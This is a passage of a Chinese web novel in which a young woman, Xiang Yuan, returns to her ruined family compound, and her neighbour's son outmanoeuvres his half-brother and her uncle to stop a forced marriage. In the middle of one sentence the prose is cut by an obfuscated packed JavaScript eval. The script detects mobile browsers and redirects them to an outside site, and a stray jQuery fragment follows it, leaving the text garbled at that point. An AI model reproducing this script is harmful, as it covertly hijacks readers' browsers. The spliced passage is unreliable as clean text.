向园抬眼望过去,大概木头搭的棚子比竹子扎的篱笆结实,花棚好好地立在那儿。上头翠叶葳蕤,淡黄深白的细长花瓣纷杂交错,显出勃勃生机。 反观花篱,除了最西头靠近药圃那一截儿有一株茂盛的石榴树撑着,看着还算规整。其他地方早已破败不堪,东倒西歪,带得如雪荼蘼和秾艳蔷薇平铺开来,把篱笆后的青石小井都遮掩住,不像花篱,更像是遍地碎锦。 水井没有盖,被花木遮掩着,看不清方位。 向园跨过篱笆,正要抬脚摸索位置,就被樊云英拉到身后。 显然樊云英也记得这一茬,她随手捡了根竹竿探路,“园园,你跟我后边,我记得这处有井,可得小心点。” 这井口虽不宽,可园园打小就苗条,井口也能装得下她,要是掉进去可就糟了。 而且,这后院林密草深,比前院更甚,也不知道有没有蛇,被咬一口可不是好玩儿的。 她神色紧张,如大鸟护着小鸟一般,把向园护在羽翼之下。却忘了,向园早就不是数年前那个黄毛小丫头,如今这井……还真不一定能装得下她。 向园看着,绷着的面庞也不由舒展开,露出个浅浅的笑,挽着她的胳膊,与她同行。 顺着竹竿的指引,两人小心翼翼往左迈步,等探到实地才落脚,倒也慢腾腾挪到了后院。 后院三间小房,坐西朝东,北侧带着一间灶房,一间杂物房。这几间房子都是用掺了麦秸的土砖修的,外头刷了一层石灰水泥浆。好几年不住人,墙皮大都掉了,露出里头满是裂缝孔洞的墙体。仅剩的一些完好的地方,还因为受潮生了一层霉斑,看着乌漆嘛黑的。 向园和樊云英没敢进屋,站在门口朝里瞧了一眼。 果然有些瓦片都破了,能看见屋顶漏进室内的天光。这要是遇上个阴雨天,还不得屋外大雨哗啦,屋里小雨滴答? 樊云英觉得这房子太危险,劝道:“园园,这处恐怕不能住人,你过去那边跟伯母一起住吧,先凑活几天。你耕耘哥哥回来了,让他去村里二仓家凑活两天,赶明儿他就又上山了,他常在山里打猎,在山上也有住处的。” 向园摇摇头,“伯母,后头这房子不成,前头那小楼我看还好,收拾收拾就能住人。” 后头是土房,只铺了单层瓦。前头却是砖瓦房,不仅铺了底瓦和盖瓦两层瓦片,铺瓦之前,还在橼木上铺了木板,抹了一层苫背。所以就算缺个一两片瓦,那屋子也不会轻易漏水。 而且前头那处的梁柱门窗和家里的家具都是好木头做的,只刷了桐油防潮防虫防朽,没有涂漆。如今看着虽有些旧气,却也没什么大的损坏,倒不用担心夜里睡到一半房塌了或者床塌了。 向园坚持住这边,樊云英劝了两遭,见劝不动,也只得应下,回去收拾些得用物件来帮她清理屋子。 这院子要收拾好,不是一两天工夫就能成的,先腾出一间房来,有得住,才好图谋以后。 两人热火朝天忙活起来。 前院小楼几间房面积都不小,因是作为坐堂和贮药的屋子,为了通风采光方便,房间都是面阔大于进深,面阔一丈五尺,进深一丈二尺。 房屋大了,为了不显得空落落的,里头放的东西就多。楼下除了药柜、农具和一些采药晒药煎药的工具外,没有别的。楼上却纷纷杂杂放了许多琐碎物件,大如板床、书架、衣箱、矮柜,方桌、条凳等,小的如药碾子、茶壶、茶碗、酒瓮、斗笠、蓑衣等等。 但是铺盖细软是一件都没有的。往常惯用的那些,外婆接她走时,一并都收拾走了。还有一些在后院箱子柜子里,放了这么长时间,不知道还能不能用。 向园打算把屋子收拾好了,再过去看看。 屋里长久不住人,梁上、壁上、家具上都落满灰尘。向园觉得要彻底收拾干净,得把东西都弄到外头露台上去,用水把屋里好好冲洗干净。 樊云英也这样想,但单凭她们两个,不说别的,那书架就难抬得出去。 “我回去拿个桶,拿个盆来,咱们先擦洗擦洗,这个天气,开窗通风应该很快就能干。” 向园点点头。 这边的水桶木盆几年不用,除了屋里放着的一个脸盆,一个脚盆,其他的都已经发霉朽坏,不能用了。 等樊伯母出去,她正好把一些好搬抬的家具弄出去,再拿扫把把屋顶清扫一遍。 向园力气挺大,身手也算矫健。小时候还不明显,后来父母过世,她干活多了,外婆就看出来。但是外婆从来不让她在大舅大妗子跟前显露。 向园明白她的好意,一直收敛着。但如今不一样了,她要一个人过活,有些事必须自己做。她刚刚就要爬梯子,樊伯母不让,怕她摔下来。 这会儿樊伯母走了,她把能搬动的几样家具,吭哧吭哧搬出去,就戴上斗笠,用手绢缚住口鼻,举着绑了长竹竿的扫把往屋顶呼啦。 灰尘厚重,在半空扬洒。 正午的阳光透过窗子射进来,照出一束束光柱,粗重滚圆,向园连着打了几个喷嚏。 那院,樊云英刚收拾好木桶、木盆,走到篱笆门口,知晓来龙去脉的原耕耘急匆匆奔了回来。 “娘,向园出事了!” “耕耘,园园回来了!” 两人同时出声。 原耕耘瞬间明白过来,向园回来了,他放下心。 虽说早明白她应该不是被掳走的,但一个十来岁的年轻女子独自出门,总归危险,没寻到人之前,他一直提着心。现在看来,她还是足够聪明的。 “娘,我爹写的那份分家文书,你放哪里了?” “你要那个做什么?耕耘啊,咱们就是有文书,以你大哥那副脾性,也不会同意重新分家的。”樊云英一脸着急,怕儿子犯倔。 原耕耘垂下眼,“不是要跟他重新分家,只是想看看。” 这样啊,虽然不知道儿子要那分家文书做什么,但只要不是跟原家硬杠,樊云英就放下心,跟他说了文书的位置,又跟他说向园的事。 “这孩子也是可怜,咱们能帮一把就帮一把。只是你大哥不当人,要干这样的畜生才干的事,你想想有没有什么好法子,能让他打消念头!” 这话原耕耘不好接,他可以骂原大不做人,但她娘这话,显然不只是在说原大。 樊云英不需要他接话,自顾自念叨,“还有梅家那舅舅,听着也不像是善茬,哪有从外甥女儿身上挣前程的?有个这样的长辈,园园也只怕是出了狼窝,又入虎穴……” 她当年还惋惜没有舅家依仗,如今看来,摊上个这样的舅舅,还不如没有。 “还有园园的婚事,她一个女孩儿家,总不能自己寻婆家吧!” 这才是樊云英最着急的。他们如今能照应她的生活,能给点力所能力的帮助,但是她的婚事,他们是插不上手的。 当年她嫁原老员外,是外婆做的主。没人觉得这不是一门好亲,因为嫁过去,就什么都有了,吃不尽的山珍海味,穿不完的绫罗绸缎。可个中的苦,也只有经受过的人才能体味。 她能理解园园的想法,一是她设身处地地历过,二是园园的父母跟他们家渊源颇深,她把她当自家孩子,这才能站在她父母的立场,她本人的立场去支持他们认为正确的选择。 但这样的选择在外头人看来,未必是好的。 原耕耘沉默片刻,“原大不是良配,她既然回来,想必也明白,以后的路就只能靠她自己走了,没有谁能护持她一生。” 别的他没多说,先解决了眼下这一急,才能说以后。 樊云英也明白,只是儿子这不经心的样子,还是让她生气。 她瞪原耕耘,“耕耘,你可要念情啊,当初要不是向大夫和你向家婶子,娘和你的命只怕都保不住。园园如今不容易,咱们能看顾一点就看顾一点。” 原耕耘:“……” 他点头,“我知道。” 见母亲还是不放心,他保证道:“我会想办法的。” 他看向樊云英刚刚放在地上的桶和盆,皱皱眉,“你们这是?” 见儿子郑重应下,樊云英放心不少,笑道:“给园园收拾两间屋出来住。” 原耕耘:“……敬叔不是还要过段日子才能来接你?我今晚有事,不回来住,这事儿如果今天能弄好,明天回来我就上山去了。” 敬叔就是樊云英改嫁的丈夫,姓谷,年初出门办货了,走得远,要两三个月工夫才能回来。 原耕耘这话意在告诉樊云英,他不在家,她可以拉着向园一起住。 樊云英:“……耕耘,你老实跟娘说,是不是想娶园园做媳妇儿!” 想起自家儿子五六岁就知道拉着园园拜堂,哄她长大了给他做媳妇儿的事,她把声音放得很低。 即便这附近没人,她还是怕稍微高声一点,就坏了女儿家的名声。 原耕耘脸上并没露出什么异样,“我没见过她!以前帮你看她都是在远处看一眼,跟邻居问一问,没从近处看过,也没跟她说过话。” 樊云英不知道信了没,“不管想不想,她走到这一步不容易,你说话行事千万注意分寸,别害了她。” 原耕耘点头,弯腰拎起木桶木盆,用眼神示意他娘带路。 樊云英:“你去干啥?” 被老娘怀疑地看着,原耕耘有几分无奈,“她既然能一路走回来,想必是个有主见的,过去问问她是怎么个意思,要是她有主意,她舅舅那里,我得借原大的势一道摆平,省得以后还要麻烦。” 樊云英想想有点道理,“这个我来拿,你把昨天打的那一捆柴火挟上,等会儿再回来装些米面粮食过去。” 原耕耘照做,放下桶盆,也不用两趟,他一肩担柴,一手拎着装米面粮食菜蔬的竹筐,跟上母亲的步伐。 从原家门口出来,走几步路就是向家大门。 这边刚出院子,樊云英忽然想起,“我忘了装些油盐酱醋了!” 她放下东西,交代儿子,“你在这儿等会儿,我回去拿。” 向园扫完屋顶,樊云英还没回来,她到大门口来望望。 门刚打开一条缝,一个担着柴火的高大身影映入眼帘。 向园瞪大眼,樊伯母说的哑巴樵夫这样俊?怪不得不会说话生意也好! 原耕耘望过来,不由皱眉,她这副打扮,是要扮演盘丝洞里的蜘蛛精? 对方不动,向园想可能是对方不能说话,她探出头道:“是林樵夫吧?劳烦隔五日送一担柴来,这是定钱。” 声音糯糯,如幼稚的黄鹂刚从深谷中飞出,只敢婉转啁啾,不敢放声高歌,生怕惊动蛰伏在附近的猎人。 原耕耘:“……” 很好,古宅、荒园、蛛网、艳鬼、樵夫,人物情景都恨齐全,接下来是不是就要吃人了? 他直挺挺站着,不往前走,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15901592|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接钱。 这是嫌少的意思?向园皱起眉头。 可樊伯母说柴火就是这个价啊! 不是嫌少,那就是欺生了? 她肃着面容,正琢磨要说些什么好,原耕耘开腔了。 “向园。” 他言简意赅,嗓音也低沉,如山林深处的寺庙里传来的钟声,悠远飘渺却又如天籁之音,扣人心弦。 不是哑巴樵夫,知道自己名字,向园一惊,麻利缩回脑袋,把门拴上。 “你认错人了,我不是向娘子,我只是跟向娘子租了这个院子。” 原耕耘:“……我娘来了!” 仿佛是在印证他的话,樊云英的声音同时响起,“园园,园园啊!” “来啦!”向园应一声,拔掉门闩,站在门口请他们进来。 若非她烧红的脸颊和几乎要垂到胸口去的脑袋,没人会相信这个漂亮的小娘子,刚刚才撒过谎。 除了原耕耘。 好在他不算太坏,不仅没跟樊云英戳破,还递了个台阶给向园。 “娘,她就是为您安胎,救了我的命的向叔向婶子家的向园?” 樊云英斜他一眼。这是什么狗儿子!这是什么屁话!连小娘子都不会喊,要喊人名儿! 向园偷眼瞧过去。他竟然说谎,不仅吓唬自己,还骗樊伯母。 樊伯母说他每年都去瞧她和外婆,现在看来,他根本不认得自己,那瞧人的话肯定也是骗樊伯母的。 原耕耘对两个女人的惊讶和戒备仿若未觉,施施然挑着担子进了院子,跟进自己家一样自在。 “园园,怎么弄成这副模样?”樊云英伸手撩开向园双丫髻上黏结的蛛网,又掏出帕子帮她擦擦脸蛋上的灰,“别跟你耕耘哥哥一般见识,他打小就这样,不会说话!” 不会说话的原耕耘,干活还是很麻利的。 他到底走了两趟,将他娘收拾出来的东西一一弄进院子放好,又将水井附近和东墙周围的杂草清理干净,露出原本的小路来。 水井多年不用,打出来的水有些浑浊,上头漂着不少草屑。这井水暂时是不能吃了,但是洗洗涮涮还是可以的。 两个女人打水抬水,原耕耘去楼上坠根绳子下来一桶一桶往上拉。 屋里的大小物件向园已经搬了一部分到露天平台上,原耕耘看到,也没有太惊讶,默不作声就把剩下那些也收拾出来。 他也不用人帮忙抬,厚重敦实的斗柜,人高的书架,他不眨眼就能抱起来,搬出来,半途都不带歇气儿的。更别说条案、桌椅、板凳这些了,体积小的,他一下能拿四五个。 向园忽然觉得,自己的力气也不是那么大。 她正有些不好意思,就听樊云英道:“他有这一身力气,不用白不用,多练练还能长力气!” 向园还是头一回听说,力气也能长的。 她很羡慕,要是她也能长力气,那以后再去山上采药掰笋,是不是半晌就能采两筐,一趟就能挑一担? 向园预计要干一晌的活计,原耕耘不到半个时辰就干完了,他还重新摆置了家具。 向园看着焕然一新的屋子,不由一愣。这摆设跟她原来在外婆家住的屋子几乎一模一样,只是炕的位置如今放的是一张木板床。 原耕耘也想起来这回事,但是已经这样了,再改的话就显得刻意。 “后头那三间房不能再住人了,屋顶瓦片也不牢固,你轻易不要进那屋。我一会儿把里头的东西都挪前头来,你看放哪方便。” 向园:“……” 向园很感动,樊伯母对她好,耕耘哥哥也对她好,她不知该如何回报。 她没吭声,樊云英以为她又为往事伤心,跟她商量,“就是这话,趁这个功夫,都让耕耘给搬到前头来,你取用什么都方便,也不用往那边跑了。” 原耕耘不用她们再说,吭哧吭哧又跑了几趟,将东西都弄过来。 左右两间卧房里得用的箱子家具弄到楼上去,正好放得下。堂屋和灶房的橱柜、桌椅就挪到楼下正堂,摆放好了也像模像样。 就是原来那张简陋的木板床,原耕耘也费了番功夫挪到外间,把后头的架子床给换进去。马上就要入夏,回头蚊虫多了,架子床挂蚊帐也方便。 他这边忙活着,樊云英问向园,她对原家和梅家那头儿的想法。 原家的婚事自然不能同意,这是向园早就定好的心思。 但提起梅家,她也犯了难。 倒不为梅大舅和邱大妗子,他们对她和外婆不好,没有一点亲情不说,还三不五时就要去梅家小院拉柴火,捉鸡捉鸭,如今更是要把她往火坑里送。 他们怎么想她是无所谓的,真正让她发愁的丛殊表哥。 丛殊表哥在外头再混,回了梅家小院,却是顶好的人。对她这个表妹和外婆这个奶奶,也没有话说。该帮衬她和外婆的时候,他从无二话,很多时候,还帮着她们在梅大舅和邱大妗子跟前斡旋。 就说自家这三亩田、两亩地,尽管有村里人敬重父亲,愿意照顾她的缘故,没答应梅大舅卖田的要求。可当初要不是表哥看顾着,恐怕这几年的租子都被大舅和大妗子捞走了,也落不到她和外婆手里。 她要是决意断了往来,只怕最难过的人是表哥。可表哥如今还没回来,她也不知道该怎么办好。 原耕耘路过时听了一嘴,此时方问道:“你以后寻人家,是你自己做主,还是你表哥做主,还是你舅舅妗子做主?” 这话问得过于直白,向园红了脸,考虑一番坚决道:“我自己做主。” 虽然她也不懂这种事该怎么为自己做主,但既然回来了,任是谁,也别想摆布她。 原耕耘点头,“既然如此,你也不用为难,原家那边我去说,至于你表哥,现在该为难的不是你,是他才对。等他回来,你把前因后果跟他说一遍,他总不至于没个决断。” 樊云英点头,的确是这个道理。 向园心中明白,郑重跟他们行礼道谢,“若非伯母和耕耘哥哥帮衬,恐怕我……” 从昨天早晨到现在,满打满算不过一天零半晌,她却觉得像是几个月甚至几年那样漫长。 惊惧、焦灼、无助、彷徨,一直到此刻的安定,包裹她的黑暗才渐渐退去。 昨夜想的什么?如果逃不过去,还不如一死,正好跟外婆爹娘团聚。 可现在,她忽然就舍不得死了。 她要把外婆爹娘没享的福都替他们享过,把他们没能受用的都受用过,让他们安心。 等将来去见他们,她可以无愧地站在他们跟前,说园园没有给他们丢脸,他们给的这条命,给的这副身躯,她一直珍惜着,爱护着。 她托他们的福来这世间一趟,没有白来。 6. 第 6 章 干完力气活,原耕耘功成身退。 他看看天色,此时还不到申时,正好进城把原家的事了结。这事儿多耗一天,只怕那娘儿俩晚上都睡不踏实。 原耕耘回头瞧了正铺床叠被的樊云英和向园一眼,大步走出门去,还不忘高声交代,“闭紧门户要紧,但也不用过于谨慎,你回来的事,还是要让村里人知道的。” 不然梅大舅那边真报了外甥女儿伤心亡故,她以后就是想在村里露头,只怕也有麻烦。 向园到底不常出门,也没经过世事,有些摸不着头脑。 樊云英倒是清楚,此时一一解释给她听,“你做局是对的,可是不够周全,一着不慎,就把自己也陷进去了。” 向园不懂,她凑近樊云英,挽着她的胳膊听得认真。 “你想,要是你舅舅找不着你,又气不过,真去衙门报了案,说外甥女儿亡故,那事情就大了。 “衙门办事,可跟咱们老百姓们讲情讲理的不一样。他们没找着尸首,认定人活着,平白无故消失不见,就要把人按逃亡处理,一个‘逃户’的罪名是少不了的。 “就是衙役办差不认真,说人没了糊弄上官,衙门册子上关于你那一笔也要被抹掉,你以后再想光明正大地露面可就难了。 “再一点,一旦报了亡故,无论是真是假,你舅舅想要霸占你的田产地产,甚至于你家这屋子院子,也都名正言顺了。就是你再出现在人前,他咬死了不认你是他外甥女儿,你也没办法的。 “最关键的是,没有户籍,以后即便嫁人,也没法迁户过去。夫家对你好还好,要是对你不好,打你骂你,甚至故意磋磨你,你也无可奈何。” 向园这才意识到事情的严重,她不由担心,“那怎么办?耕耘哥哥就这样过去,不会有事吧?” 这样复杂的问题,她从来没想过,或者说根本想不到,知道女子在世上活着不易,却也不知道这里头有这么多门道。 耕耘哥哥说帮她就帮她,都不犹豫一下的,她下午还诓骗他,真是不应该。 “要不我还是去十里滩,找我舅姥爷,他的话,即便舅舅不听,总不至于忤逆。”向园又想哭了。 樊云英给她擦泪,“傻孩子,你耕耘哥哥在槐树井那边遇上了你家邻居,一个叫阿文的,跟他交代过。一时半会儿,那边的事儿你舅舅还不会知道,更不会传到衙门去。 “等晚些时候他回来,咱们看看情况。实在不行,你再去你舅姥爷家避两天,让你耕耘哥哥去找你表哥回来。你表哥在家,事情就好办些,你也不至于这样为难。” 向园点头。 舅姥爷一家不是坏人,可即便他们都好,一家人过日子也难免有磕磕碰碰的。 这个时候,她一个外人,总要提着心吊着胆,难以周全。 她再也不想寄人篱下了。 樊伯母和耕耘哥哥待她这样好,她以后把他们当亲娘孝顺,当亲哥哥尊重。 原耕耘这边没遇到什么大问题。 尽管门子给了冷脸,管家给了白眼,他还是顺利见到原丰收,这个比自己大三四十岁,同父异母的兄长。 原家人都是好相貌,原老员外年轻时就是美男子,到了适婚年龄就娶了门当户对的王氏,生下一子两女。 一子就是原丰收,两女一个早逝,一个年岁不小,嫁得又远,原耕耘记事起,她和原家就没有往来。 原丰收长大后,听从母亲安排,娶了两姨表姐冯氏。 冯氏出身不高,长相也不如人意,为人却强势霸道,在世时就将原丰收管得密不透风。 她进门后,先后为原丰收孕育两女,长女出嫁后,她又有了身孕,最终却难产伤了身子,在病床上苦熬十年,终于撒手人寰。 冯氏去世不过是前两年的事,因着为母亲守孝,原家二姐耽误了花期,如今二十岁了,仍待字闺中。 二女儿的婚事还没着落,原丰收将近花甲之年,人老心却壮,还惦记着娶年轻貌美的女孩儿续弦。 原耕耘不能理解。原丰收出来时,他盯着原丰收看。 他记性很好,两三岁就开始记事。 他记得,三岁时的那个初夏,向园出生,他每天守在摇篮边上,晃悠小小的她,看她吐泡泡,对手指。 记得每年夏天,父亲带他和母亲去茅舍避暑,向叔叔会给他准备一条小船,放在医庐前的水塘里。他带着向园划船采菱,他摘荷叶盖脑袋,给她摘大朵荷花遮阳…… 记得五岁时,向园刚能说清长句子,他和她玩过家家,跟她承诺,长大后会娶她做媳妇儿,给她打大金镯子,戴真正的红盖头…… 记得七岁时,向园生病要喝苦药,她不想喝药,一直哭闹。他看到一只□□,觉得很滑稽,就学着□□的样子,鼓起脸又蹦又叫逗她笑,不想却吓到她。从此她一见他就跑就闹、就哭就逃,就喘不过气…… 时间静止在九岁那年,父亲病逝,他再也没能去茅舍,等他能去的时候,向叔叔向婶婶病逝,她已经不在那儿了…… 原丰收被这个年轻的弟弟看得不自在,他咳了咳,“老二,来做什么?” 原耕耘没做声,继续盯着他看。 那时的父亲好像也是这样的年岁,长得和眼前这个人没多少区别,只是父亲身姿魁梧,眼睛炯炯有神,六十多岁了还能教他骑马射箭。可眼前这个人,背佝偻着,眼里精光点点,不过都是精明算计、贪婪淫邪的光,不是威严正义、恩厚仁慈的光。 他不再往下想,掏出怀里的纸往桌案上一拍,震得刚触到桌面的茶盏叮当作响。 原丰收手一抖,茶盏一歪,咕噜噜滚下去,发出一阵清脆响声。 管事的探头来看,原耕耘看向原丰收,原丰收摆摆手,示意他带人出去。 原耕耘望向桌面,“大哥,你不知道父亲生前曾为我定下亲事吗?这是婚书!” 原丰收皱眉,“你要娶媳妇儿,自去跟你娘商量,兄弟分家,做哥哥的管不到弟弟头上。” 原耕耘:“你这样说就好,那就有劳你去跟梅大舅解释一番,说要提亲的是我,不是你!父亲婚书在上,做子女的怎敢忤逆!” “你放肆!”原丰收瞳孔一缩,干瘦的巴掌往桌上一拍,原来汇成一滩的茶水四处飞溅。 原耕耘侧头避过,“如何放肆!难道你故意毁坏婚书,是为了强夺弟妻不成?” “什么弟妻?老二,你说清楚!”手掌生疼,带得原丰收脑子都迟钝了,一时竟没有反应过来。 “这上头不是写着?”原耕耘眼神指向桌面被茶水洇湿的纸张。 原丰收这才明白,不由嘀咕着自己走背运,瞧上的小娘子,竟跟老二牵扯不清。 他别过头,不看那所谓的婚书一眼,“你说是老爹留下的就是老爹留下的,我还说是你自己写的拿来蒙骗我呢。” 原耕耘挑挑眉,“老爹爹的笔迹印章,又不是只有你我二人清楚,几位族老也都知道的。还有县衙和府衙那里,每位知县知府到任,老爹爹也都有贺词表记送去,咱们不消多说,往衙门口一站,大人们自有评判。” 原丰收皱起眉头。 单论打官司,他自然不怕这个小杂种。可进了衙门,犯到那些老蝗虫手里,他就是能赢,恐怕也要脱层皮。 尤其如今这几年,他年岁渐长,没个儿子承继家业,衙门那些狗货都不把他放眼里,越发盘剥得厉害。 真要为个小娘子闹到前头去,可不值当! 不值当! 原丰收自顾自摇头。 原耕耘只当没瞧见,大马金刀地坐着,由他思索。 原丰收瞥他一眼,心中鄙夷。 个糙汉子,除了一把子力气还有什么,真要让那样娇滴滴的美人白白落到这小畜生手上? 不甘心啊!真叫人不甘心! 浑浊的眼珠子一转,他强辩道:“老爹既留下婚书,想来只是属意向氏女做原家的媳妇儿,是哥哥是弟弟有什么区别?再说,那样的娇花,你就是娶回家,你养得起吗?” 下人送上新茶,原丰收接过,呷了一口,借着茶盅盖碗的遮掩,偷眼瞧原耕耘的反应。 原耕耘不为所动,“没别的区别,不过是六旬老头和十九后生的区别。” 他气定神闲,轻笑道:“老哥哥如此想得开,那老爹爹留下的分家文书,想来只是不想让家产落入外人手中,留给哥哥还是留给弟弟,又有什么区别!再说……” 眼见原丰收要恼,原耕耘轻飘飘又朝他心窝砸了一记重拳,“再说老哥哥年纪渐长,又无子嗣传承,你就是把着这万贯家财,将来还能带到棺材里去?” “你,你,你!”原丰收气得一佛出世,二佛升天,抖着手指着原耕耘的鼻子骂,“嫡出和庶孽能一样吗!你个竖子!野种!小畜生!狗杂种!” 原耕耘站起身避开,让他指了个空,待他不抖了,方才居高临下觑着他道:“老哥哥也是读过《四书》《五经》的人,怎么知道这么多腌臜话,叫我这乡野匹夫听了都笑话!再说,老爹爹分给我的家产你不肯让,老爹爹许给我的美人你也不肯舍,我这吃亏受屈的人还没气,你占尽便宜的反倒要气,这是什么道理?” 原丰收差点叫他气晕,捂着胸口直咳嗽。到底年岁大些,不如前些年精神健旺,能把十岁出头的小孩子骂得狗血淋头,一无是处。 原耕耘鄙夷一笑,拿起那张湿淋淋的纸,吹落上头聚着的水,正色道:“既然老哥哥不是商量的意思,我去衙门口儿叫屈去。当年分家,就交割得不清楚,如今又是这样。虽则婚书叫你污了,幸好分家文书还在,如今正好两桩事合一桩事,两张纸比对着,请县太爷断个明白。” 说着,迈开大步要出门。 原丰收还未缓过气来,见状大惊,咳嗽得更加厉害。手哆哆嗦嗦指着原耕耘,一个劲儿朝管事的使眼色。 管事的会意,?胁肩谄笑着走上前来,“二老爷恕罪!” 一句二老爷,口生得很。这要搁以往,他是断断不敢称呼二老爷的,要让老爷知道,保管扒他一层皮。好在今儿个特殊,他也不用太担心被老爷罚。 见原耕耘停下脚步,有听听的意思,管事的赶紧道:“二老爷赎罪,老奴逾矩劝一句,这兄弟俩,哪有天长地久的怨恨?您有什么不好跟老爷说的,要到公堂上去?闹开了,老太爷九泉之下瞧着,心里也不是滋味啊!” 原耕耘软硬不吃,这原家宅院里,唯一能让他忌惮两分的,也只有过世好些年的原老爷子了。 管事的也没好法子,只得搬出这座泰山,来压原耕耘。 原耕耘回头一瞥,原丰收已叫下人搀扶着顺过气了,见他看去,“哼”一声,扭过头去。 原耕耘再不撩他一眼,抬脚就走。 管事的尴尬不已,好不容易将人拦下,推到屋里,又作势劝原丰收,“老爷,二老爷肯来,还不是心里敬着您,才来跟您商量!您看看,您做哥哥的,怎么还跟弟弟闹脾气呢!” 原耕耘:“……” 怪不得这人能当上管事,这见人说人话、见鬼说鬼话,睁眼说瞎话的本事,还真不是人人都会的。 原丰收这会儿思量清楚了。他可不情愿为个小美人损大笔家财。儿子谁都能给他生,美色嘛,可惜是可惜了,却也比不上银子来得要紧。 他总算摆出一副愿意谈的架势,只是依旧用鼻孔看人。 原耕耘无所谓。 对方要真能拔节,眼睛朝下望到别人头顶上,也算他的本事。就他这个样子,昂着鼻孔还得抬着头看人,指望谁敬着他不成。 管事的扯扯自家老爷的袖子,朝他使个眼色。儿子也不是想生立时就能生的,二小姐看着也不是想招赘的样子。老爷后继无人,若是不趁这时候跟二老爷打好关系,只怕真要晚景凄凉喽! 原丰收鼻孔喷了口气,勉强收敛声音道:“老二,说吧!你想怎么着!” 原耕耘:“我知道老哥哥舍不下这万贯家财,我不争。只是这婚事,我却不能让。现在婚书污了,我还要找人再写一封,只怕梅大舅不肯认,就劳你出面跟他交代一声吧。总归媳妇儿是我的,谁也别想夺去!还有……” 原丰收捏着鼻子应下原耕耘的种种要求,这还不行。 “你有空的话,咱们现在就去找梅大舅!”原耕耘道。 原丰收:“……” 小杂种看着稳当,遇上美人还挺急! 可他能怎么样呢,小杂种的狗脾气他可清楚,弄不好真会闹得人仰马翻,到时候他这张老脸,可算丢尽了。 不过他可不会屈尊降贵去找梅大用,直接吩咐管事的喊他来。 梅大用收到消息的时候,刚上完货。 今天生意着实不错,积了半年的存货都清个干净。他正琢磨着什么时候再去进货,原家的小厮就过来了。 “梅老爷,我家老爷有请!”小厮赶着马车来的。 这一番折腾下来,都快傍晚了,原耕耘着急,让管事的交代小厮尽快把人拉去。小厮也挺能干,不到半个时辰,就带着梅大舅回到原府。 梅大舅一路上笑都没从脸上落下过,进屋见到原丰收,更是笑成一朵花模样。 隔老远他就拱着手道:“原老爷,久违、久违了。昨日来贵府寻您,府上管事说您不在,今儿个想过来呢,又怕这个好日子,扰了您清净,我正琢磨着抽空再拜访,可巧贵府小哥儿就来了。” 原丰收懒得应付,小美人都落不到手里了,小美人的舅舅跟他有半文钱的关系?谁的舅舅谁去应付,他可不管! 原耕耘挑挑眉,反客为主请梅大舅落座,问道:“哥哥昨日派管事跟您商议婚事,听说您应下了?” “应下,应下,能跟贵府做亲,是我外甥女儿的福气,也是我们梅家的福气!”梅大舅一脸喜气。 原耕耘一笑,起身行礼道:“多谢舅舅,舅舅有礼,甥婿拜过。” 梅大舅一惊,“贤侄不要胡说,我外甥女儿是许给……” 他未说完,就被原耕耘打断,“聂庄头没跟您说清吗?哥哥正是替我向令外甥女儿提亲的。” 梅大用这才仔细打量眼前这个清俊的男子。 这人面皮白净,彬彬有礼,像是个读书人。只是与读书人常见的清瘦或肥腻不同,他身形精干,手长脚长,看着孔武有力,又像是个习武的。 就是这衣裳,怎么看着不大富贵? 早年也听说过原老员外老来得子,只是从没见过,也很少听人提起。 眼下见着,梅大舅不由怀疑,难道原员外是把弟弟当儿子来养,以后指望他承继家业? 他琢磨着,目光热切起来。 这落到原丰收眼里,就是自己比不过年轻小伙子,心里又是一阵气。 原耕耘微微一笑,瞥了大管事一眼。 大管事觑着自家老爷的面色,斟酌道:“这是我们府上二老爷,一表人才,跟令外甥女儿正相匹配。 “我们老太爷在时,常去绿蒲村消暑,跟令妹夫做过几年邻居,当年两家就曾立下婚书,只是我家老太爷去得急,我们老爷前几日去庄子上,突然想起这事儿,只是年深日久,一时间找不着婚书放哪儿,就让管庄的找您问询……” 两家还有这般渊源? 梅大用这才惊觉,自己先前想岔了,要是早知道有这事,他不早就上门来了?但此刻他又能说什么呢,虽说弟弟不当家,可有这么一门婚事,跟原家沾上亲,总比没有的强。 他接下原耕耘的茶,喊了一声贤甥婿。 原耕耘敬完茶,又行一礼,“我也是才知道梅老夫人仙逝,只恨知晓得太晚,没能对老夫人尽一点孝心。” 说着,似有难言之隐般,瞧着梅大舅,“舅舅,可否借一步说话?” 梅大舅:“……” 原丰收一双三角眼都瞪圆了,不清楚这小畜生又搞什么鬼。 原耕耘不看他,直接看向大管事。 大管事苦涩地笑了笑,“梅老爷这边请。” 原耕耘跟着去了旁边的小厅,看大管事离开,才道:“这么晚找大舅前来,还有另一件事,只是当众说了怕有损令外甥女儿清誉,才找大舅单独说。” 这话什么意思?难道是想悔婚? 梅大舅不由重视起来,正色道:“贤甥婿这话怎么说?我那外甥女不说饱读诗书,却也是好人家女孩儿,从小就知书达礼,可从不做有损声誉的事。” 原耕耘似有难言之隐般,犹豫了一会儿才道:“不是说这个,您说的我自然明白,只是今日我母亲去祭拜父亲,经过长云山半山腰时,遇上一装桩奇事。这事儿跟令外甥女儿有关,我想来想去,还是请您来,跟着参谋参谋。” 梅大舅不自觉皱起眉头,做出洗耳恭听的姿态。 原耕耘:“长云山半山腰那株百年老松树您知道吧?” 梅大舅点头。 “今日我陪母亲下山时,无意中瞧见那棵老松树悬空的那一根树干上,躺着一位麻衣女子。我母亲初见时吓了一跳,还以为是谁家小娘子想不开,就吩咐我将人弄下来喊醒,谁知那小娘子却面熟,她醒来竟说…… “我这些日子,常做同一个梦,梦见我外婆。她神情面貌同过去一般无二,每回都对我说:‘园园,我的园园,与其叫你舅舅卖了去换前程,不如跟我走吧,一家骨肉还能团圆。’我想不明白,舅舅都不常来,怎么会卖了我换前程呢。我也不知道我为什么在这儿,昨夜里我关门进屋睡的……” 